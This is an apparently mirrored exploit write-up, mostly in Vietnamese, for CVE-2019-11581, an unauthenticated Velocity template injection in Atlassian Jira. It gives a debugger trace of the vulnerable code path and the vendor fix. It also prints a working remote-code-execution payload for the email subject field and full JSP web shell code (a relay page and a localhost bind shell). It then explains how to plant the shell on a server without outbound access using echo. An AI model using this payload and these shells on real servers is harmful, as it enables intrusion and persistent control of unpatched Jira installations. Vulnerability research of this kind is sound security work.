Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2019-11581 PoC — Atlassian JIRA Data Center 注入漏洞

Source
Associated Vulnerability
Title:Atlassian JIRA Data Center 注入漏洞 (CVE-2019-11581)
Description:Atlassian JIRA Data Center是澳大利亚Atlassian公司的Atlassian JIRA的数据中心版本。 Atlassian JIRA Server和JIRA Data Center中存在注入漏洞。攻击者可利用该漏洞执行任意代码或造成拒绝服务。以下产品及版本受到影响:Atlassian JIRA Server 4.4.x版本,5.x.x版本,6.x.x版本,7.0.x版本,7.1.x版本,7.2.x版本,7.3.x版本,7.4.x版本,7.5.x版本,7.6.14之前的7.6.x
Description
Atlassian Jira unauthen template injection
Readme
# Atlassian Jira unauthen template injection (CVE-2019-11581)

## I) Building
  #### 1. Bug version
```
4.4.x
5.x.x
6.x.x
7.0.x
7.1.x
7.2.x
7.3.x
7.4.x
7.5.x
7.6.x before 7.6.14 (the fixed version for 7.6.x)
7.7.x
7.8.x
7.9.x
7.10.x
7.11.x
7.12.x
7.13.x before 7.13.5 (the fixed version for 7.13.x)
8.0.x before 8.0.3 (the fixed version for 8.0.x)
8.1.x before 8.1.2 (the fixed version for 8.1.x)
8.2.x before 8.2.3 (the fixed version for 8.2.x)
```
  #### 2. Build and debug
 - Sửa giá trị `set JVM_SUPPORT_RECOMMENDED_ARGS=` tại file ./bin/setenv.bat (hoặc tương tự với file ./bin/setenv.sh của linux)để có thể chạy remote debug
 ```
 set JVM_SUPPORT_RECOMMENDED_ARGS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
 ```
 - Tại IDE (Intellij) ta tạo một Debug Configurations: `Remote JVM Debug`  với giá trị `host` và `port` là localhost:5005 và `Command line aguments for remote JVM`
```
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
```
- Chạy file ./bin/config.bat (hoặc với file config.sh với linux) và chỉnh sửa "Jira home" về thư mục jira home của mình
![image](https://user-images.githubusercontent.com/63145078/116972284-ff427b00-ace4-11eb-8a9a-ea4bffd1d616.png)

- Chạy file ./bin/start-jira.bat (hoặc ./bin/start-jira.sh với linux). Các bạn kiểm tra version java, port 8080 và 5005 có đang free hay không nếu không chạy được nhé!

- Ta chọn mode private
![image](https://user-images.githubusercontent.com/63145078/116973465-c905fb00-ace6-11eb-9007-463d0b99f263.png)

- Tới bước này, các bạn nhớ dùng địa chỉ email có thể nhận được email nhé :)
![image](https://user-images.githubusercontent.com/63145078/116973811-47629d00-ace7-11eb-9714-48f34183720a.png)

- Conf và test connection đầy đủ nhé
![image](https://user-images.githubusercontent.com/63145078/143885376-c35a859b-b6fc-4497-b891-851f6150790d.png)

- Tại `http://localhost:8080/secure/admin/EditApplicationProperties!default.jspa` ta bật tính năng `Contact Administrators Form`
![image](https://user-images.githubusercontent.com/63145078/116974718-b7bdee00-ace8-11eb-9b63-e335f89b1ce8.png)

- Mình chỉ note một số lưu ý khi building, các bạn có thể tham khảo [building jira from source](https://developer.atlassian.com/server/jira/platform/building-jira-from-source/) 

## II) Phân tích

Sau khi đọc [Advisory](https://confluence.atlassian.com/adminjiraserver/jira-security-advisory-2019-07-10-1047539912.html) ta biết được bug này nằm ở ContactAdministrators và  SendBulkMail (cái này mình bỏ qua vì cần authen). Vậy nên mình bắt đầu test tính năng `ContactAdministrators` và bắt request 

![image](https://user-images.githubusercontent.com/63145078/117038914-5de21600-ad32-11eb-90ae-4bcb98f00d8f.png)

- Mình thấy request tới `/secure/ContactAdministrators.jspa` thế nên mình xem file ./atlassian-jira/WEB-INF/web.xml để xem request này sẽ được chuyển tới class nào<br>
![image](https://user-images.githubusercontent.com/63145078/117039798-64bd5880-ad33-11eb-87b0-6efe197876bc.png)<br>
![image](https://user-images.githubusercontent.com/63145078/117039830-6edf5700-ad33-11eb-8c7e-21452026d645.png)

- Như thế reuqest sẽ được xử lý ở `JiraWebworkActionDispatcher`, vậy nên mình đặt breakpoit ở init và server ở class này và chạy debug
![image](https://user-images.githubusercontent.com/63145078/117044421-9dabfc00-ad38-11eb-9501-8d1800a5a24d.png)
- Như thế chương trình đã dừng lại ở hàm `server`, trace một lát thì chương trình nhảy vào `ContactAdministrators.doExecute()`
![image](https://user-images.githubusercontent.com/63145078/117046018-62123180-ad3a-11eb-88ef-d158fbc60347.png)
- Sau đó qua `send`, tại đây chương trình list ra các tài khoản admin đang hoạt động
![image](https://user-images.githubusercontent.com/63145078/117046150-879f3b00-ad3a-11eb-9e73-822cf9e6c88d.png)
- Rồi sau đó chương trình qua hàm `sendTo`. Tại đây ta thấy chương trình có tạo một `MailQueueItem` và add nó vào `mailQueue`.
![image](https://user-images.githubusercontent.com/63145078/126289668-4312cc84-3cf0-49c6-8de2-9c06a6a2458c.png)
- Chương trình gọi hàm `EmailBuilder.withSubject`. Tại đây string subject của email (attacker gửi lên) được chuyển từ String qua TemplateSources và gán cho tham số `subjectTemplate` của EmailBuilder.
![image](https://user-images.githubusercontent.com/63145078/117046971-87536f80-ad3b-11eb-8838-7639132858ee.png)
- Tại hàm `renderLater` chương trình tạo một `EmailRenderer` và dùng nó để tạo một `RenderingMailQueueItem`
![image](https://user-images.githubusercontent.com/63145078/117048093-d2ba4d80-ad3c-11eb-950b-d5deb8f41df9.png)

- Từ đây, khi quay lại hàm `ContactAdministrators.sendTo`. Sau khi tạo xong một `MailQueueItem` chương trình add item vào `mailQueue` rồi quay lại hàm doExecute để Redirect. Nếu theo luồng debug này ta không thể nhảy tới phần mà chương trình render email, nên không thể tới đoạn xảy ra template injection được. Vậy mình phải làm gì để có thể theo dõi việc xử lý email???
- Mình thấy ở `EmailRenderer` có hàm `renderNow` (chương trình chỉ gọi `renderLater`) mình đoán là khi email ở trong queue được gọi lên để render, nó cũng sẽ được đi theo luồng giống như `renderNow`, vậy nên mình quyết định trace từ hàm `renderNow`
![image](https://user-images.githubusercontent.com/63145078/117049635-9851b000-ad3e-11eb-9685-dd16d128100f.png)
- Từ `renderNow` chương trình gọi tới `EmailRenderer.render()`. Mình đặt breakpoint ở đây và request lại để xem chương trình có thự sự chạy tới đây hay không
![image](https://user-images.githubusercontent.com/63145078/117049965-04ccaf00-ad3f-11eb-8394-cbcb7cdd8b4d.png)
- Thật may mắn là chương trình đã đi đúng hướng mình đoán. Tiếp theo chương trình gọi `renderEmailSubject`
![image](https://user-images.githubusercontent.com/63145078/117051025-46118e80-ad40-11eb-8b65-05f7bf6e983d.png)
- Tiếp theo chương trình gọi `DefaultVelocityTemplatingEngine.render(this.subjectTemplate)` 
![image](https://user-images.githubusercontent.com/63145078/117093995-be05a600-ad8c-11eb-8622-749d5cc7dc80.png)
- Đến `DefaultVelocityTemplatingEngine.applying` và `DefaultVelocityTemplatingEngine.asPlainText`
![image](https://user-images.githubusercontent.com/63145078/117094186-4d12be00-ad8d-11eb-813f-9dd51d915b99.png)
- Tiếp tục gọi tới `asPlainText(Writer writer)`
![image](https://user-images.githubusercontent.com/63145078/117094258-85b29780-ad8d-11eb-84ec-4ca0c841a784.png)
- Đến `toWriterImpl` vì `writer` mình đưa vào là một Fragment thế nên chương trình nhảy tới `else`
```ruby
private void toWriterImpl(Writer writer, boolean attachCartridge) throws IOException {
            if (this.source instanceof File) {
                File template = (File)this.source;
                if (attachCartridge) {
                    this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
                }

                DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBody(writer, template.getPath(), "", DefaultVelocityTemplatingEngine.this.applicationProperties.getEncoding(), this.context);
            } else if (this.source instanceof Fragment) {
                Fragment fragment = (Fragment)this.source;
                if (attachCartridge) {
                    this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
                }

                DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBodyForContent(writer, fragment.getContent(), this.context);
            }

        }
```
- Và gọi tới `DefaultVelocityManager.writeEncodedBodyForContent`
![image](https://user-images.githubusercontent.com/63145078/117094528-3882f580-ad8e-11eb-85b7-60e543cbdc16.png)
- Tiếp tục qua `VelocityEngine.evaluate` -> `RuntimeInstance.evaluate(Context, Writer, String, String)` -> `RuntimeInstance.evaluate(Context, Writer, String, Reader)`. Tại đây chương trình đã tạo một `SimpleNode` từ `Reader`
![image](https://user-images.githubusercontent.com/63145078/117094727-bc3ce200-ad8e-11eb-9877-5b5cc21381bd.png)
- Chương trình chạy tới hàm `render`, tại đây chương trình gọi ` nodeTree.render(ica, writer);` để parse template Velocity vì thế ở đây ta có thể Template injection ở đây!
```ruby
public boolean render(Context context, Writer writer, String logTag, SimpleNode nodeTree) throws IOException {
        InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
        ica.pushCurrentTemplateName(logTag);

        try {
            try {
                nodeTree.init(ica, this);
            } catch (TemplateInitException var13) {
                throw new ParseErrorException(var13);
            } catch (RuntimeException var14) {
                throw var14;
            } catch (Exception var15) {
                String msg = "RuntimeInstance.render(): init exception for tag = " + logTag;
                this.getLog().error(msg, var15);
                throw new VelocityException(msg, var15);
            }

            nodeTree.render(ica, writer);       ### Có thể RCE ở đây ###
        } finally {
            ica.popCurrentTemplateName();
        }

        return true;
    }
```

- Mình thay thể subject của email contact bằng payload của velocity teplate:
```
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('calc').waitFor()

```
![image](https://user-images.githubusercontent.com/63145078/117095153-cad7c900-ad8f-11eb-8de7-f39070307326.png)

-  Và chúng ta đã PoC lại thành công :)
![image](https://user-images.githubusercontent.com/63145078/117095238-083c5680-ad90-11eb-8b70-0cf1f2edd132.png)

#### Stack call
```
ContactAdministrators:	doExecute -> send -> sendTo
	-> EmailBuilder -> renderLater
	
RenderingMailQueueItem: send
	-> emailRenderer: render -> renderEmailSubject
		-> DefaultVelocityTemplatingEngine: asPlainText -> asPlainText(Writer writer) -> toWriterImpl
			-> DefaultVelocityManager: writeEncodedBodyForContent
				->VelocityEngine: evaluate
					> RuntimeInstance: evaluate -> evaluate -> render
						=>  SimpleNode: render
	
```

Như thế ta đã có thể RCE trên jira server, thế nhưng nếu chúng ta muốn có 1 shell mà gặp phải trường hợp server không có outbound thì phải làm sao? Trong trường hợp này ta không thể tạo bind/reverse shell như thông thường vì ta không có port để ra internet.

Mình nhận được một gọi ý từ anh @honson97: "sử dụng 1 web jsp để nhận input từ attacker rồi chuyển tới một bind shell hoạt động độc lập và listen chính localhost của server".

![image](https://user-images.githubusercontent.com/63145078/117096124-58b4b380-ad92-11eb-9fca-92fb03722005.png)

Từ ý tưởng ấy, mình code 2 file jsp là `web.jsp` và `blind.jsp`. `blind.jsp` mang nhiệp vụ làm blind shell, luôn lắng nghe ở localhost:4444 nhận lệnh đưa vào cmd/base và trả về kết quả cho web jsp `web.jsp`, và web jsp chính là công cụ để attacker input/output command.

#### file: web.jsp
```jsp
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
  Socket socket = new Socket( "127.0.0.1", 4444 );
  
  OutputStream output = socket.getOutputStream();
  PrintWriter writer = new PrintWriter(output, true);
  writer.println(request.getParameter("cmd"));
  
  InputStream input = socket.getInputStream();
  DataInputStream dis = new DataInputStream(input);
  String disr = dis.readLine();
    while ( disr != null ) {
        out.println(disr); 
        disr = dis.readLine(); 
    }
        
	socket.close();
  
%>

```

#### file: bind.jsp
```jsp
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>

<%
  class StreamConnector 
  {
    InputStream md;
    OutputStream ao;

    StreamConnector( InputStream md, OutputStream ao )
    {
      this.md = md;
      this.ao = ao;
    }

    public void run()
    {
      BufferedReader yw  = null;
      BufferedWriter enf = null;
      try
      {
        yw  = new BufferedReader( new InputStreamReader( this.md ) );
        enf = new BufferedWriter( new OutputStreamWriter( this.ao ) );
        char buffer[] = new char[8192];
        int length  = yw.read( buffer, 0, buffer.length); 
        enf.write( buffer, 0, length );
        enf.flush();
      } catch( Exception e ){}
      
    }
	
  }

  try
  {
    String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
  ShellPath = new String("/bin/sh");
} else {
  ShellPath = new String("cmd.exe");
}

    ServerSocket server_socket = new ServerSocket(4444,1048576,InetAddress.getByName((String)"127.0.0.1") );
	
    Process process = Runtime.getRuntime().exec( ShellPath );
		
    while (true) {
     Socket client_socket = server_socket.accept();
	 ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).run();
	 
	  Thread.sleep(1000);
	  
	 ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).run();
	
      client_socket.close();
    }

  } catch( Exception e ) {}
  
%>

```

Tiếp theo là up shell lên server, do server chúng ta đang tính ở trường hợp không có outbound nên chúng ta chỉ có thể upload file bằng lệnh echo. Trước tiên mình xóa ký tự "\n" và Escape Characters đặc biệt (bằng python)

```python
a = """ copy-cái-file-vô-đây """
a = a.replace("\n", " ").replace("\t", " ").replace(">", "^>").replace("<", "^<")
print(a)
```

sau đó copy string thu được đưa vô payload
```
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('echo STRING-Ở-TRÊN > ../atlassian-jira/web.jsp').waitFor()
```
 Sau khi upload được 2 file web.jsp và bind.jsp. Ta truy cập `/bind.jsp` rồi mở tab khác truy cập `/web.jsp?cmd=COMMAND` để test shell
 ![image](https://user-images.githubusercontent.com/63145078/117115115-db4f6a00-adb6-11eb-99c0-b7a0a78d768a.png)

 ### Fix
 
  Tại `ContactAdministrators.sendTo()`, thay vì đưa trực tiếp input từ client vào hàm `EmailBuilder.withSubject` để chuyển thành teamplate sources (có thể render) thì tại bản fix nhà nhà phát triển đã đưa input vào thành một string context và chỉ cần đưa string `"$subject"` vào hàm `EmailBuilder.withSubject`. Khi render, hệ thống thực thi template `"$subject"` tức là load subject - string context (input từ client) lên chứ không hề render chúng. Nói cách khác, chương trình nạp input vào như một string chứ không phải như một template có thể render.
  
  ![image](https://user-images.githubusercontent.com/63145078/126372224-e0ccdc5f-f66c-4d20-8b16-d92f8d87f2d8.png)
Bug version

![image](https://user-images.githubusercontent.com/63145078/126372325-9fb7e5be-7a35-4ebc-ba23-f57db6eb0e78.png)
Fix version



File Snapshot

[4.0K] /data/pocs/3ec668c4a39d538319e4439b548fba73691bdf09 └── [ 15K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.